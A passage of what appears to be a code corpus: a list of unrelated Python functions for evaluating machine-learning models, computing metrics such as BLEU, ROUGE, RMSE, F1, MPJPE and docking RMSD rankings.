{:.4f}\".format(metric_name,\n metric_val))\n return Y, y, ret","def evaluate(self, eval_batches, result_dir=None, result_prefix=None, save_full_info=False):\n pred_answers, ref_answers = [], []\n total_loss, total_num = 0, 0\n for b_itx, batch in enumerate(eval_batches):\n feed_dict = {self.p: batch['passage_token_ids'],\n self.q: batch['question_token_ids'],\n self.p_length: batch['passage_length'],\n self.q_length: batch['question_length'],\n self.start_label: batch['start_id'],\n self.end_label: batch['end_id'],\n self.dropout_keep_prob: 1.0,\n self.em: batch['exact_match']}\n batch_size = len(batch['start_id'])\n padded_p_len = len(batch['passage_token_ids'][0])\n padded_p_num = len(batch['passage_token_ids']) / batch_size\n para_ids = []\n for start_id in batch['start_id']:\n para_ids.append(start_id // padded_p_len)\n feed_dict[self.para_label] = para_ids\n content_label = np.zeros([batch_size, padded_p_num * padded_p_len], dtype=int)\n for s_idx, (start_id, end_id) in enumerate(zip(batch['start_id'], batch['end_id'])):\n content_label[s_idx, start_id: end_id+1] = 1\n feed_dict[self.content_label] = content_label\n start_probs, end_probs, content_scores, verif_scores, loss = self.sess.run([self.start_probs, self.end_probs,\n self.concat_content_score, self.reshaped_ans_verif_score,\n self.loss], feed_dict)\n\n total_loss += loss * len(batch['raw_data'])\n total_num += len(batch['raw_data'])\n\n padded_p_len = len(batch['passage_token_ids'][0])\n for s_idx, sample in enumerate(batch['raw_data']):\n start_prob = start_probs[s_idx]\n end_prob = end_probs[s_idx]\n content_score = content_scores[s_idx]\n verif_score = verif_scores[s_idx]\n best_answer = self.find_best_answer_with_verif(sample, start_prob, end_prob,\n content_score, verif_score, padded_p_len)\n if save_full_info:\n sample['pred_answers'] = [best_answer]\n pred_answers.append(sample)\n else:\n pred_answers.append({'question_id': sample['question_id'],\n 'question_type': sample['question_type'],\n 'answers': [best_answer],\n 'entity_answers': [[]],\n 'yesno_answers': []})\n if 'answers' in sample:\n ref_answers.append({'question_id': sample['question_id'],\n 'question_type': sample['question_type'],\n 'answers': sample['answers'],\n 'entity_answers': [[]],\n 'yesno_answers': []})\n\n if result_dir is not None and result_prefix is not None:\n result_file = os.path.join(result_dir, result_prefix + '.json')\n with open(result_file, 'w') as fout:\n for pred_answer in pred_answers:\n fout.write(json.dumps(pred_answer, encoding='utf8', ensure_ascii=False) + '\\n')\n\n self.logger.info('Saving {} results to {}'.format(result_prefix, result_file))\n\n # this average loss is invalid on test set, since we don't have true start_id and end_id\n ave_loss = 1.0 * total_loss / total_num\n # compute the bleu and rouge scores if reference answers is provided\n if len(ref_answers) > 0:\n pred_dict, ref_dict = {}, {}\n for pred, ref in zip(pred_answers, ref_answers):\n question_id = ref['question_id']\n if len(ref['answers']) > 0:\n pred_dict[question_id] = normalize(pred['answers'])\n ref_dict[question_id] = normalize(ref['answers'])\n bleu_rouge = compute_bleu_rouge(pred_dict, ref_dict)\n else:\n bleu_rouge = None\n return ave_loss, bleu_rouge","def evaluate_model(predictions_table: pd.DataFrame, ratings_table: pd.DataFrame,\n test_table: pd.DataFrame, viewed_table: pd.DataFrame,\n all_predictions_table: pd.DataFrame) -> Dict:\n\n viewed = viewed_table.to_numpy()\n predictions = predictions_table.to_numpy()\n all_predictions = all_predictions_table.to_numpy()\n ratings = ratings_table.to_numpy()\n test = test_table.to_numpy(copy=True)\n test_demeaned = test - np.mean(test, axis=1).reshape(-1, 1)\n test_set = test_table.apply(lambda x: x != 0.0).astype(int).to_numpy()\n\n result = dict()\n\n # Test set evaluation\n test_predictions = np.multiply(all_predictions, test_set)\n diff = np.subtract(test_predictions, test_demeaned)\n rmse = np.sqrt(np.mean(np.square(diff)))\n result.update({\"RMSE\": rmse})\n mae = np.mean(np.absolute(diff))\n result.update({\"MAE\": mae})\n\n # overall evaluation\n movies_recommended = set()\n i = 0\n for index, row in predictions_table.iterrows():\n if i > 10000: break\n else: i += 1\n\n labels = row.nlargest(20).keys().tolist()\n for movie in labels:\n movies_recommended.update(movie)\n\n result.update({\"Coverage\": len(movies_recommended)})\n\n return result","def eval(self, test_file_path: str) -> Tuple[List[Dict[str, float]], classification_report]:\n # TODO write code to extract features from test_file_path and \n # test the model\n pass","def evaluate(prediction_folder, label_folder, verbose=False):\n prediction_tasks = next(os.walk(prediction_folder))[1]\n label_tasks = next(os.walk(label_folder))[1]\n # prediction_tasks = label_tasks = ['mlqa', 'tydiqa', 'xquad']\n\n detailed_scores = {}\n for task, langs in TASK2LANGS.items():\n if task in prediction_tasks and task in label_tasks:\n suffix = \"json\" if task in GROUP2TASK[\"qa\"] else \"tsv\"\n # collect scores over all languages\n score = defaultdict(dict)\n for lg in langs:\n prediction_file = os.path.join(prediction_folder, task, f\"test-{lg}.{suffix}\")\n label_file = os.path.join(label_folder, task, f\"test-{lg}.{suffix}\")\n score_lg = evaluate_one_task(prediction_file, label_file, task, language=lg)\n for metric in score_lg:\n score[metric][lg] = score_lg[metric]\n # average over all languages\n avg_score = {}\n for m in score:\n avg_score[f'avg_{m}'] = sum(score[m].values()) / len(score[m])\n score.update(avg_score)\n if task in GROUP2TASK[\"qa\"]:\n score['avg_metric'] = (score['avg_exact_match'] + score['avg_f1']) / 2\n elif 'avg_f1' in score:\n score['avg_metric'] = score['avg_f1']\n elif 'avg_accuracy' in score:\n score['avg_metric'] = score['avg_accuracy']\n detailed_scores[task] = score\n if verbose:\n avg_result = ', '.join(['{}={:.1f}'.format(k, v) for k, v in score.items() if k.startswith('avg')])\n print('- Evaluate {}:\\t{}'.format(task, avg_result))\n\n # Display logic:\n overall_scores = {}\n all_tasks = set(TASK2LANGS.keys())\n available_tasks = set(detailed_scores.keys())\n\n # If scores of all tasks are available, show the overall score in the main table\n if all_tasks == available_tasks:\n overall_scores['all_task'] = sum(detailed_scores[task]['avg_metric'] for task in all_tasks) / len(all_tasks)\n\n # If scores of all tasks in a sub group are available, show the score in the sub table\n for group, group_tasks in GROUP2TASK.items():\n if len(set(group_tasks) - available_tasks) == 0:\n overall_scores[group] = sum(detailed_scores[task]['avg_metric'] for task in group_tasks) / len(group_tasks)\n\n return overall_scores, detailed_scores","def main(\n input_dir, radius, bins, num_evaluations\n):\n registration_results = io.read_registration_results(\n os.path.join(input_dir, 'reg_result.txt')\n )\n\n # init output\n df_output = io.init_output()\n\n for i, r in progressbar.progressbar(\n list(\n registration_results.iterrows()\n )\n ):\n # for interactive visualization:\n if i >= num_evaluations:\n exit(0)\n \n # parse point cloud index:\n idx_target = int(r['idx1'])\n idx_source = int(r['idx2'])\n\n # load point clouds:\n pcd_source = io.read_point_cloud_bin(\n os.path.join(input_dir, 'point_clouds', f'{idx_source}.bin')\n )\n pcd_source, idx_inliers = pcd_source.remove_radius_outlier(nb_points=4, radius=radius)\n search_tree_source = o3d.geometry.KDTreeFlann(pcd_source)\n\n pcd_target = io.read_point_cloud_bin(\n os.path.join(input_dir, 'point_clouds', f'{idx_target}.bin')\n )\n pcd_target, idx_inliers = pcd_target.remove_radius_outlier(nb_points=4, radius=radius)\n search_tree_target = o3d.geometry.KDTreeFlann(pcd_target)\n\n # detect keypoints:\n keypoints_source = detect(pcd_source, search_tree_source, radius)\n keypoints_target = detect(pcd_target, search_tree_target, radius)\n\n # create descriptions:\n pcd_source_keypoints = pcd_source.select_by_index(keypoints_source['id'].values)\n fpfh_source_keypoints = o3d.registration.compute_fpfh_feature(\n pcd_source_keypoints, \n o3d.geometry.KDTreeSearchParamHybrid(radius=5*radius, max_nn=100)\n ).data\n\n pcd_target_keypoints = pcd_target.select_by_index(keypoints_target['id'].values)\n fpfh_target_keypoints = o3d.registration.compute_fpfh_feature(\n pcd_target_keypoints, \n o3d.geometry.KDTreeSearchParamHybrid(radius=5*radius, max_nn=100)\n ).data\n\n # generate matches:\n distance_threshold_init = 1.5 * radius\n distance_threshold_final = 1.0 * radius\n\n # RANSAC for initial estimation:\n init_result = ransac_match(\n pcd_source_keypoints, pcd_target_keypoints, \n fpfh_source_keypoints, fpfh_target_keypoints, \n ransac_params = RANSACParams(\n max_workers=5,\n num_samples=4, \n max_correspondence_distance=distance_threshold_init,\n max_iteration=200000, \n max_validation=500,\n max_refinement=30\n ),\n checker_params = CheckerParams(\n max_correspondence_distance=distance_threshold_init,\n max_edge_length_ratio=0.9,\n normal_angle_threshold=None\n ) \n )\n\n # exact ICP for refined estimation:\n final_result = exact_match(\n pcd_source, pcd_target, search_tree_target,\n init_result.transformation,\n distance_threshold_final, 60\n )\n\n # visualize:\n visualize.show_registration_result(\n pcd_source_keypoints, pcd_target_keypoints, init_result.correspondence_set,\n pcd_source, pcd_target, final_result.transformation\n )\n\n # add result:\n io.add_to_output(df_output, idx_target, idx_source, final_result.transformation)\n\n # write output:\n io.write_output(\n os.path.join(input_dir, 'reg_result_yaogefad.txt'),\n df_output\n )","def analyze(self,filenames,output_dir,diffs_only=False):\n def okey(value):\n r = max((['PASS', 'ERROR', 'FAIL', 'UNTESTED', 'SKIPPED'].index(r.outcome) for r in tests[value] if r))\n if r == 0:\n return value\n else:\n return r\n def overall_outcome_weight(results):\n return max((['PASS', 'ERROR', 'FAIL', 'UNTESTED', 'SKIPPED'].index(r.outcome) for r in results if r))\n\n # pass 0: Load results\n results = [RunResults.load(filename) for filename in filenames]\n # step 1: Check if all results are for the same version\n version = results[0].version\n for result in results:\n if result.version != version:\n raise Exception('Analyze: Results for the same FB version required.')\n # step 2: Sort results into groups (platform, cpuarch, arch, run)\n results.sort(key=operator.attrgetter('platform','cpuarch','arch','sequence'))\n\n # pass 1: Create list of tests with results\n tests = {} # Dictionary of all tests found in results; Test ID: list of results\n for result in results:\n column = results.index(result)\n for test_id,test_result in result.items():\n tests.setdefault(test_id,len(results)*[None])[column] = test_result\n\n # pass 2: Analyze results for each tests that didn't pass in all runs\n test_details = {}\n # step 1: Collect details for tests that didn't pass\n for test_id,test_results in tests.items():\n for test_result in test_results:\n if test_result and test_result.outcome != Result.PASS:\n l = test_details.setdefault(test_id,list())\n result = results[test_results.index(test_result)]\n l.append((self.get_run_tag(result.platform,result.cpuarch,result.arch,result.sequence),test_result))\n # step 2: group results for each test\n for test_id,test_results in test_details.items():\n groups = [] # item format: (result,[list_of_runs])\n for result_id,test_result in test_results:\n added = False\n for group in groups:\n if self.compare_results(group[0],test_result):\n group[1].append(result_id)\n added = True\n if not added:\n groups.append((test_result,[result_id]))\n del test_results[:]\n test_results.extend(groups)\n\n # pass 3: Order tests\n test_order = tests.keys()\n test_order.sort(key=okey)\n\n # pass 4: Generate report\n self.print_analysis(version,results,tests,test_details,test_order,\n output_dir, diffs_only)","def evaluate(predictions, gold_file, out_prediction_file):\n # Save the evaluations to a file\n with codecs.open(out_prediction_file, 'w', 'utf-8') as f_out:\n for (w1, w2), curr_paraphrases in predictions.items():\n for paraphrase, score in curr_paraphrases:\n f_out.write('\\t'.join((w1, w2, paraphrase, str(score))) + '\\n')\n\n # java -classpath bin/ semeval2013.Scorer goldstandard.txt semeval_2013_paraphrases.tsv -verbose -isomorphic=true\n scores = []\n for isomporphic in ['true', 'false']:\n result = subprocess.run(['java', '-classpath', 'bin/', 'semeval2013.Scorer',\n gold_file, out_prediction_file, '-verbose',\n '-isomorphic={}'.format(isomporphic)],\n stdout=subprocess.PIPE)\n # Take the last line\n scores.append(float(result.stdout.decode('utf-8').split('\\n')[-2]))\n\n return scores","def event_based_evaluation(reference_event_list, estimated_event_list):\n\n files = {}\n for event in reference_event_list:\n files[event['filename']] = event['filename']\n\n evaluated_files = sorted(list(files.keys()))\n\n event_based_metric = sed_eval.sound_event.EventBasedMetrics(\n # event_label_list=reference_event_list.unique_event_labels,\n event_label_list = config.labels, \n t_collar=0.200,\n percentage_of_length=0.2,\n )\n\n for file in evaluated_files:\n reference_event_list_for_current_file = []\n # events = []\n for event in reference_event_list:\n if event['filename'] == file:\n reference_event_list_for_current_file.append(event)\n # events.append(event.event_label)\n estimated_event_list_for_current_file = []\n for event in estimated_event_list:\n if event['filename'] == file:\n estimated_event_list_for_current_file.append(event)\n\n event_based_metric.evaluate(\n reference_event_list=reference_event_list_for_current_file,\n estimated_event_list=estimated_event_list_for_current_file\n )\n\n return event_based_metric","def evaluate(parser):\n required_args = (\n 'train_tfrecord',\n 'valid_tfrecord',\n 'predicted_data',\n 'actual_data',\n )\n cli_args = add_all_args(parser, EVALUATION, *required_args)\n evaluator = Evaluator(\n input_shape=cli_args.input_shape,\n model_configuration=cli_args.model_cfg,\n train_tf_record=cli_args.train_tfrecord,\n valid_tf_record=cli_args.valid_tfrecord,\n classes_file=cli_args.classes,\n max_boxes=cli_args.max_boxes,\n iou_threshold=cli_args.iou_threshold,\n score_threshold=cli_args.score_threshold,\n )\n predicted = pd.read_csv(cli_args.predicted_data)\n actual = pd.read_csv(cli_args.actual_data)\n evaluator.calculate_map(\n prediction_data=predicted,\n actual_data=actual,\n min_overlaps=cli_args.min_overlaps,\n display_stats=cli_args.display_stats,\n save_figs=cli_args.save_figs,\n plot_results=cli_args.plot_stats,\n )","def test(self,test_fn, eval_metrics):\n # Load gold and predict\n X, Y = self.load_dataset(test_fn)\n y = self.model.predict(X)\n\n # Get most probable predictions and flatten\n Y = RNNOIE_model.consolidate_labels(self.transform_output_probs(Y).flatten())\n y = RNNOIE_model.consolidate_labels(self.transform_output_probs(y).flatten())\n\n # Run evaluation metrics and report\n # TODO: is it possible to compare without the padding?\n ret = []\n for (metric_name, metric_func) in eval_metrics:\n ret.append((metric_name, metric_func(Y, y)))\n # logging.debug(\"calculating {}\".format(ret[-1]))\n\n for (metric_name, metric_val) in ret:\n logging.info(\"{}: {:.4f}\".format(metric_name,\n metric_val))\n return Y, y, ret","def evaluate(parameters, f_eval, raw_sentences, parsed_sentences,\n id_to_tag, input_file_path):\n predictions = []\n for raw_sentence, data in zip(raw_sentences, parsed_sentences):\n input = create_input(data, parameters, False)\n if parameters['crf']:\n y_preds = np.array(f_eval(*input))[1:-1]\n else:\n y_preds = f_eval(*input).argmax(axis=1)\n p_tags = [id_to_tag[y_pred] for y_pred in y_preds]\n\n if parameters['tag_scheme'] == 'iobes':\n p_tags = iobes_iob(p_tags)\n\n for i, y_pred in enumerate(y_preds):\n new_line = \"%s %s\" % (raw_sentence[i][0], p_tags[i])\n predictions.append(new_line)\n predictions.append(\"\")\n output_path = os.path.join(opts.output, os.path.basename(input_file_path[:-4] + \"_Tagged.txt\"))\n with codecs.open(output_path, 'w', 'utf8') as f:\n f.write(\"\\n\".join(predictions))","def compute_metrics(self, results: list) -> dict:\n dump(results, self.out_file_path)\n print_log(\n f'Results has been saved to {self.out_file_path}.',\n logger='current')\n return {}","def evaluate_multiple(logits, targets, eval_cutoffs=[5, 10, 20], batch_wise=False):\n _, indices = torch.topk(logits, max(eval_cutoffs), -1)\n recall, mrr = [], []\n for k in eval_cutoffs:\n indices_k = indices[:, :k]\n targets_k = targets\n recall_k, mrr_k = get_recall(indices_k, targets_k, batch_wise), get_mrr(indices_k, targets_k, batch_wise)\n\n recall.append(recall_k)\n\n mrr.append(mrr_k)\n # print([[str(x.size()) for x in recall], str(targets.size()), str(indices_k.size())])\n return recall, mrr","def _evaluate(self,\n logits,\n predictions,\n data, evaluation_fn,\n max_eval_batches=None,\n calculate_scores=True,\n write_results=False):\n # counting the evaluation batches\n num_eval_batches = 0\n # logits and predictions from the model\n all_logits = []\n all_predictions = []\n # fetched data that led to the predictions\n # dictionary of {seq_1: [], seq_2: [], target: []}\n all_fetched_data = collections.defaultdict(list)\n try:\n while True:\n # sample predictions\n (fetched_logits,\n fetched_predictions,\n fetched_data) = self._fetch_data_batch(\n logits=logits, predictions=predictions, data=data)\n\n # Cache the data\n all_logits += fetched_logits\n all_predictions += fetched_predictions\n all_fetched_data[\"target\"] += fetched_data[\"target\"]\n\n # break the loop if max_eval_batches is set\n num_eval_batches += 1\n if (max_eval_batches and\n num_eval_batches >= max_eval_batches):\n break\n\n except tf.errors.OutOfRangeError:\n pass\n\n # Evaluate\n scores = None\n if calculate_scores:\n scores = evaluation_fn(\n all_predictions,\n all_fetched_data[\"seq_1\"], # Should be empty\n all_fetched_data[\"seq_2\"], # Should be empty\n all_fetched_data[\"target\"])\n\n if write_results:\n _write_results_to_csv(\n all_logits,\n all_predictions,\n all_fetched_data,\n output_dir=os.path.join(\n self._logdir, RESULTS_CSV_FNAME))\n\n return len(all_predictions), scores","def metric_eval_for_mturk_words_with_ir(hyp_scores, y_true_sents, y_true_words, n_sents, n_words, pred_grain, max_alter,\n matching_mode, binarize_max_alter=True, save_pred_to=None, save_true_to=None):\n para = {\n 'hyp_scores': hyp_scores,\n 'y_true_sents': y_true_sents,\n 'y_true_words': y_true_words,\n 'n_sents': n_sents,\n 'n_words': n_words,\n 'pred_grain': pred_grain,\n 'max_alter': max_alter,\n 'matching_mode': matching_mode,\n 'binarize_max_alter': binarize_max_alter,\n }\n\n y_true, y_pred = get_metric_inputs_wo_flatten(**para)\n\n if save_pred_to:\n save_numpy(y_pred, fp=save_pred_to)\n\n if save_true_to:\n save_numpy(y_true, fp=save_true_to)\n\n p_list, r_list = compute_exam_p_and_r(y_true, y_pred, n_sents, n_words)\n\n res = {\n 'p_list': p_list,\n 'r_list': r_list,\n }\n\n return res","def process_pr_results(self, results_files, custom_report):\n \n\n \n output_file = open(os.path.join(self.path, 'raw_results.txt'), 'w')\n \n #Keep track of the last read line before a newline; this will be the best value from an optimization run\n last_line = ''\n #Match a string of the format ( 0.0995749 0.101685 0.108192 0.091224 ) 0.091224 0 100\n #Contains parameter values, the best optimization value, the cpu time, and some other values, e.g. particle numbers that Copasi likes to add. These could be removed, but they seem useful.\n output_string = r'.*\\(\\s(?P<params>.+)\\s\\)\\s+(?P<best_value>\\S+)\\s+(?P<cpu_time>\\S+)\\s+(?P<function_evals>\\S+)\\.*'\n output_re = re.compile(output_string)\n \n best_value = None\n best_line = None\n \n #Copy the contents of the first file to results.txt\n for line in open(os.path.join(self.path, results_files[0]), 'r'):\n output_file.write(line)\n try:\n if line != '\\n':\n if output_re.match(line):\n current_value = float(output_re.match(line).groupdict()['best_value'])\n if best_value != None:\n if current_value < best_value:\n best_value = current_value\n best_line = line\n elif best_value == None:\n best_value = current_value\n best_line = line\n else:\n pass\n except Exception as e:\n if custom_report:\n pass\n else:\n raise e\n \n #And for all other files, copy everything but the last line\n for filename in results_files[1:]:\n firstLine = True\n for line in open(os.path.join(self.path, filename), 'r'):\n if not firstLine:\n output_file.write(line)\n try:\n if line != '\\n':\n if output_re.match(line):\n current_value = float(output_re.match(line).groupdict()['best_value'])\n if current_value < best_value:\n best_value = current_value\n best_line = line\n else:\n pass\n except Exception as e:\n if custom_report:\n pass\n else:\n raise e\n firstLine = False\n \n \n output_file.close()\n \n #Write the best value to results.txt\n output_file = open(os.path.join(self.path, 'results.txt'), 'w')\n \n output_file.write('Best value\\tCPU time\\tFunction evals\\t')\n \n for parameter in self.get_parameter_estimation_parameters():\n\n output_file.write(parameter[0].encode('utf8'))\n output_file.write('\\t')\n output_file.write('\\n')\n\n best_line_dict = output_re.match(best_line).groupdict()\n\n output_file.write(best_line_dict['best_value'])\n output_file.write('\\t')\n output_file.write(best_line_dict['cpu_time'])\n output_file.write('\\t')\n output_file.write(best_line_dict['function_evals'])\n output_file.write('\\t')\n \n for parameter in best_line_dict['params'].split('\\t'):\n output_file.write(parameter)\n output_file.write('\\t')\n output_file.close()\n \n if best_value != None:\n return True\n else:\n return False","def evaluate(self,\n outputs: list,\n res_folder: str,\n metric: Optional[Union[str, List[str]]] = 'pa-mpjpe',\n **kwargs: dict):\n metrics = metric if isinstance(metric, list) else [metric]\n for metric in metrics:\n if metric not in self.ALLOWED_METRICS:\n raise KeyError(f'metric {metric} is not supported')\n\n # for keeping correctness during multi-gpu test, we sort all results\n res_dict = {}\n for out in outputs:\n target_id = out['image_idx']\n batch_size = len(out['keypoints_3d'])\n for i in range(batch_size):\n res_dict[int(target_id[i])] = dict(\n keypoints=out['keypoints_3d'][i],\n vertices=out['vertices'][i],\n )\n keypoints, vertices = [], []\n for i in range(self.num_data):\n keypoints.append(res_dict[i]['keypoints'])\n vertices.append(res_dict[i]['vertices'])\n keypoints = np.stack(keypoints)\n vertices = np.stack(vertices)\n res = dict(keypoints=keypoints, vertices=vertices)\n name_value_tuples = []\n for index, _metric in enumerate(metrics):\n if 'body_part' in kwargs:\n body_parts = kwargs['body_part'][index]\n for body_part in body_parts:\n if _metric == 'pa-mpjpe':\n _nv_tuples = self._report_mpjpe(\n res, metric='pa-mpjpe', body_part=body_part)\n elif _metric == 'pa-pve':\n _nv_tuples = self._report_pve(\n res, metric='pa-pve', body_part=body_part)\n else:\n raise NotImplementedError\n name_value_tuples.extend(_nv_tuples)\n else:\n if _metric == 'mpjpe':\n _nv_tuples = self._report_mpjpe(res)\n elif _metric == 'pa-mpjpe':\n _nv_tuples = self._report_mpjpe(res, metric='pa-mpjpe')\n elif _metric == '3dpck':\n _nv_tuples = self._report_3d_pck(res)\n elif _metric == 'pa-3dpck':\n _nv_tuples = self._report_3d_pck(res, metric='pa-3dpck')\n elif _metric == '3dauc':\n _nv_tuples = self._report_3d_auc(res)\n elif _metric == 'pa-3dauc':\n _nv_tuples = self._report_3d_auc(res, metric='pa-3dauc')\n elif _metric == 'pve':\n _nv_tuples = self._report_pve(res)\n elif _metric == 'pa-pve':\n _nv_tuples = self._report_pve(res, metric='pa-pve')\n elif _metric == '3DRMSE':\n _nv_tuples = self._report_3d_rmse(res)\n else:\n raise NotImplementedError\n name_value_tuples.extend(_nv_tuples)\n name_value = OrderedDict(name_value_tuples)\n return name_value","def run_evaluate_compound(self, data):\n tp = 0\n tn = 0\n fp = 0\n fn = 0\n for words, labels, pos in minbatch_generator(data, self.batch_size):\n labels_pred, sequence_lengths = self.predict_batch(words, pos)\n if not type(labels_pred) == list:\n labels_pred = labels_pred.tolist()\n for i, label_actual in enumerate(labels):\n # we have to now find all aspect terms. That is, merge consecutive B \n # with I's until we get an O or B\n a_terms_actual, non_a_terms_actual = get_aspect_chunks(label_actual)\n for a_term in a_terms_actual:\n # say we have [1,2,3] as our a_term. we have to make sure that our \n # prediction should have tags B, I, I in 1, 2 and 3 indices respectively\n a_term_pred = []\n for index in a_term:\n if not label_actual[index] == labels_pred[i][index]:\n fn += 1\n break\n else:\n tp += 1\n for index in non_a_terms_actual:\n if label_actual[index] == labels_pred[i][index]:\n tn += 1\n else:\n fp += 1\n\n precision = 0 if tp+fp == 0 else tp/(tp+fp)\n recall = 0 if tp+fn == 0 else tp/(tp+fn)\n fscore = 0 if precision+recall == 0 else (2*recall*precision)/(recall+precision)\n metrics = dict()\n metrics[\"p_1\"] = precision\n metrics[\"f_1\"] = fscore\n metrics[\"r_1\"] = recall\n return metrics","def eval_accuracies(hypotheses, references, sources=None, filename=None, mode='dev'):\n assert (sorted(references.keys()) == sorted(hypotheses.keys()))\n\n # Compute BLEU scores\n _, bleu, ind_bleu = corpus_bleu(hypotheses, references)\n\n # Compute ROUGE scores\n rouge_calculator = Rouge()\n rouge_l, ind_rouge = rouge_calculator.compute_score(references, hypotheses)\n\n # Compute METEOR scores\n if mode == 'test':\n meteor_calculator = Meteor()\n meteor, _ = meteor_calculator.compute_score(references, hypotheses)\n else:\n meteor = 0\n\n fw = open(filename, 'w') if filename else None\n for key in references.keys():\n if fw:\n pred_i = hypotheses[key]\n\n logobj = OrderedDict()\n logobj['id'] = key\n if sources is not None:\n logobj['code'] = sources[key]\n logobj['predictions'] = pred_i\n logobj['references'] = references[key]\n logobj['bleu'] = ind_bleu[key]\n logobj['rouge_l'] = ind_rouge[key]\n print(json.dumps(logobj), file=fw)\n\n if fw: fw.close()\n return bleu * 100, rouge_l * 100, meteor * 100","def evaluate_model(args, eval_runs, warm_runs, metrics=['psnr', 'ssim', 'fps']):\n upsampler = Upsampler(args)\n if warm_runs > 0:\n print(\"Warming up for evaluation\")\n for i in range(warm_runs):\n print(\"Performing warm-up run\", str(i+1))\n for sequence in ['foliage', 'walk', 'calendar', 'city']:\n bix_dir = os.path.join(VID4_DIR, 'BIx4', sequence)\n upsampler.run_dir(bix_dir, reset=False)\n \n time = 0.\n psnrs = []\n ssims = []\n for i in range(eval_runs):\n run_psnrs = []\n run_ssims = []\n print(\"Performing evaluation run\", str(i+1))\n for sequence in ['foliage', 'walk', 'calendar', 'city']:\n bix_dir = os.path.join(VID4_DIR, 'BIx4', sequence)\n gt_dir = os.path.join(VID4_DIR, 'GT', sequence)\n print(\"Evaluating on\", bix_dir)\n time += upsampler.run_dir(bix_dir, reset=False)\n vid_psnrs, vid_ssims = _eval_sr_perf(os.path.join(bix_dir, 'up'), gt_dir)\n run_psnrs += vid_psnrs\n run_ssims += vid_ssims\n if i == eval_runs-1:\n with open(os.path.join(upsampler.get_model_dir(), \"psnr.txt\"), \"w\") as f:\n f.writelines(str(psnr) + '\\n' for psnr in run_psnrs)\n with open(os.path.join(upsampler.get_model_dir(), \"ssim.txt\"), \"w\") as f:\n f.writelines(str(ssim) + '\\n' for ssim in run_ssims)\n psnrs += run_psnrs\n ssims += run_ssims\n\n fps = VID4_LENGTH/ (time/eval_runs)\n return Performance(psnr=psnrs, ssim=ssims, fps=fps)","def evaluate(self, test_dir='data/dev', target='real'):\n test_data = {c: os.path.join(test_dir, c) for c in self.classes}\n if not target in test_data:\n print('Error: target class does not exist in test data.')\n return\n outcomes = {'TP': 0, 'TN': 0, 'FP': 0, 'FN': 0}\n # >>> YOUR ANSWER HERE\n data = []\n for c in test_data:\n docs = open(test_data[c]).readlines()\n for doc in docs:\n preprocess_doc = doc.strip()\n data.append((c, preprocess_doc))\n for item in data:\n predict_ans = self.predict(item[1])\n if item[0] == 'real':\n if predict_ans == 'real':\n outcomes['TP'] += 1\n else:\n outcomes['FN'] += 1\n else:\n if predict_ans == 'real':\n outcomes['FP'] += 1\n else:\n outcomes['TN'] += 1\n precision = outcomes['TP'] / (outcomes['TP'] + outcomes['FP']) # replace with equation for precision\n recall = outcomes['TP'] / (outcomes['TP'] + outcomes['FN']) # replace with equation for recall\n f1_score = 2 * ((precision * recall) / (precision + recall)) # replace with equation for f1\n # >>> END YOUR ANSWER\n return precision, recall, f1_score","def evaluate(gold, predictions):\n # gold = {i[\"id\"]:i[\"label\"] for i in read(goldfile)}\n # sys = {i[\"id\"]:i[\"prediction\"] for i in read(sysfile)}\n\n labels, preds = [], []\n for idx in gold:\n labels.append(gold[idx])\n preds.append(predictions[idx])\n\n precision_macro, recall_macro, f1_macro, _ = precision_recall_fscore_support(labels, preds, labels=[0, 1],\n average=\"macro\")\n print(\"F1-macro score for test data predictions are: %.4f\" % f1_macro)\n return preds","def parse_results(\n predictions_fname_or_sdf_root, rmsd_info=None, rmsd_info_fname=None):\n\n def extract_energies(sdf):\n \"\"\"Return {index: minimizedAffinity} for each docked item in an sdf.\"\"\"\n energies = {}\n record_next = False\n with open(Path(sdf).expanduser(), 'r') as f:\n for line in f.readlines():\n if line.startswith('> <minimizedAffinity>'):\n record_next = True\n continue\n if record_next:\n energies[len(energies)] = float(line.strip())\n record_next = False\n return energies\n\n assert not (rmsd_info is None and rmsd_info_fname is None)\n\n if rmsd_info_fname is not None:\n with open(Path(rmsd_info_fname).expanduser(), 'r') as f:\n rmsd_info = yaml.load(f, Loader=yaml.FullLoader)\n\n predictions_fname_or_sdf_root = Path(\n predictions_fname_or_sdf_root).expanduser()\n if predictions_fname_or_sdf_root.is_file():\n df = pd.read_csv(predictions_fname_or_sdf_root, sep=' ',\n names=['y_true', '|', 'y_pred', 'rec', 'lig'])\n y_true = list(df.y_true)\n y_pred = list(df.y_pred)\n recs = list(df.rec)\n ligs = [Path(ligname).name.split('.')[0] for ligname in list(df.lig)]\n\n pdbid_to_scores_and_rmsds = defaultdict(list)\n top_ranked_rmsds = []\n for i in range(len(df)):\n pdbid = Path(recs[i]).name.split('.')[0]\n rmsd_info_record = rmsd_info[pdbid]\n if ligs[i].startswith('minimised'):\n continue\n rmsd = rmsd_info_record['docked_wrt_crystal'][int(\n ligs[i].split('_')[-1])]\n pdbid_to_scores_and_rmsds[recs[i]].append(\n (y_true[i], y_pred[i], rmsd))\n\n sorted_scores_and_rmsds_lst = []\n for rec, lst in pdbid_to_scores_and_rmsds.items():\n sorted_scores_and_rmsds = sorted(\n lst, key=lambda x: x[1], reverse=True)\n sorted_scores_and_rmsds = np.array(sorted_scores_and_rmsds)\n sorted_scores_and_rmsds_lst.append(sorted_scores_and_rmsds)\n\n top_ranked_rmsd = sorted_scores_and_rmsds[0][2]\n top_ranked_rmsds.append(top_ranked_rmsd)\n elif predictions_fname_or_sdf_root.is_dir():\n sorted_scores_and_rmsds_lst = []\n for docked_sdf in Path(predictions_fname_or_sdf_root).expanduser().glob(\n '**/docked_poses.sdf'):\n try:\n rmsds = rmsd_info[docked_sdf.parent.name]['docked_wrt_crystal']\n except KeyError:\n continue\n docked_energies = extract_energies(docked_sdf)\n combined = np.array(sorted([(\n 0, docked_energies[key], rmsds[key]) for key in\n docked_energies.keys()], key=lambda x: x[1]))\n combined[:, 0] = combined[:, 2] < 2\n sorted_scores_and_rmsds_lst.append(np.array(combined))\n else:\n raise FileNotFoundError(\n str(predictions_fname_or_sdf_root) + ' does not exist.')\n\n return Ranking(predictions_fname_or_sdf_root, sorted_scores_and_rmsds_lst)","def grep_data(cutoff, files):\n res = {}\n for file in files:\n if is_gaussian(file) and is_fluorescence(file):\n res, name = update_dict_with_name(file, res)\n res, root = find_root(file, res, name)\n res = find_spectral_data(file, res, name, root, cutoff)\n return res","def cross_validate_per_threshold(dict_trust_cv, dict_labels, dict_predictions, dict_seizure_timings, dict_idx_to_check,\n fld_number, run_number, pat_ids_arr, per_arr_cv):\n n_patients = pat_ids_arr.shape[0]\n per_arr_cv = 